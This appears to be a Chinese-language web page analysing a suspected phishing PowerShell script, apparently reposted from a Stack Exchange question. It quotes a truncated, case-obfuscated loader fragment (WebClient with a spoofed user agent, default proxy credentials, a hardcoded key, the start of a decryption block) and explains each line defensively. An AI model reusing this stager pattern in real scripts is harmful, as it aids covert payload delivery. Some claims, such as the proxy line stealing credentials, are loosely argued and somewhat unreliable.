请求分析疑似钓鱼PowerShell脚本代码
疑似钓鱼PowerShell脚本分析
首先先把你提供的代码片段贴出来(后半段虽不完整,但核心可疑部分已经足够清晰):
[SYstem.NEt.SeRVICEPoiNtMAnagEr]::EXPecT100CONtinue=0;$wC=NEW-ObJECt SYsteM.NEt.WebCLiENt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; $wC.HEADerS.Add('User-Agent',$u); $wC.PROxY=[SYstem.NEt.WeBReqUest]::DeFaULtWeBPrOxy; $Wc.PRoXy.CRedEntiALS = [SYSTEM.NET.CReDENTiAlCaCHe]::DEFAULTNETwORkCREdENTIalS; $Script:Proxy = $wc.Proxy;$K=[SYstem.TeXT.ENcodiNg]::ASCII.GetBYTEs('3c9825ffc1d70f40ec648606c637200d'); $R={$D,$K=$ARGS;$S=0....
接下来咱们逐行拆解这些可疑操作,看看它到底在搞什么名堂:
1. 网络请求基础配置
- 禁用HTTP 100-continue:
[SYstem.NEt.SeRVICEPoiNtMAnagEr]::EXPecT100CONtinue=0
这行原本是优化HTTP请求的小设置,但恶意脚本常用来避免被WAF等安全设备拦截,减少请求过程中的交互痕迹,降低被检测到的概率。 - 创建WebClient对象:
$wC=NEW-ObJECt SYsteM.NEt.WebCLiENt
WebClient是PowerShell里发起网络请求的常用工具,几乎所有用来下载恶意payload或上传窃取数据的恶意脚本,都会用到它。
2. 伪装请求身份
- 伪造User-Agent为旧版IE11
伪装成老旧浏览器是恶意脚本的经典操作——很多防护规则会重点监控现代浏览器或异常请求头,旧IE的标识更容易蒙混过关,以此隐藏真实的请求来源和意图。
3. 最危险的代理与凭证设置
- 自动使用系统代理+携带用户网络凭证:
这是这段脚本最致命的地方:它会自动调用当前系统的代理设置,并且自动带上你的用户网络凭证(比如域账号、本地账号的认证信息)。如果这是钓鱼脚本,攻击者很可能会通过这个操作窃取你的账号凭证,或者利用你的身份访问内部网络资源。$wC.PROxY=[SYstem.NEt.WeBReqUest]::DeFaULtWeBPrOxy; $Wc.PRoXy.CRedEntiALS = [SYSTEM.NET.CReDENTiAlCaCHe]::DEFAULTNETwORkCREdENTIalS
4. 加密混淆操作
- 生成加密密钥:
$K=[SYstem.TeXT.ENcodiNg]::ASCII.GetBYTEs('3c9825ffc1d70f40ec648606c637200d')
把一串十六进制字符串转成字节数组,这明显是用来做加密的密钥。恶意脚本常用这种方式隐藏真实的payload内容,避免被杀毒软件的特征检测直接识别。 - 定义解密脚本块:
$R={$D,$K=$ARGS;$S=0....
从开头的结构来看,这是一个解密函数,参数是加密数据$D和密钥$K,大概率是用XOR这类简单加密算法来解密远程下载的恶意代码,或者加密要窃取的数据后发送给攻击者。
整体可疑点总结
- 刻意混淆变量和类名的大小写(比如
SYstem.NEt.SeRVICEPoiNtMAnagEr):这是典型的混淆手段,用来绕过基于字符串匹配的简单安全检测。 - 自动携带用户网络凭证:存在严重的凭证泄露风险,是钓鱼/恶意脚本的核心特征之一。
- 包含加密密钥和解密逻辑:说明脚本正在刻意隐藏真实的恶意行为,后续大概率会执行未被检测到的恶意payload。
内容的提问来源于stack exchange,提问作者Sandeep
相关产品推荐
相关产品推荐

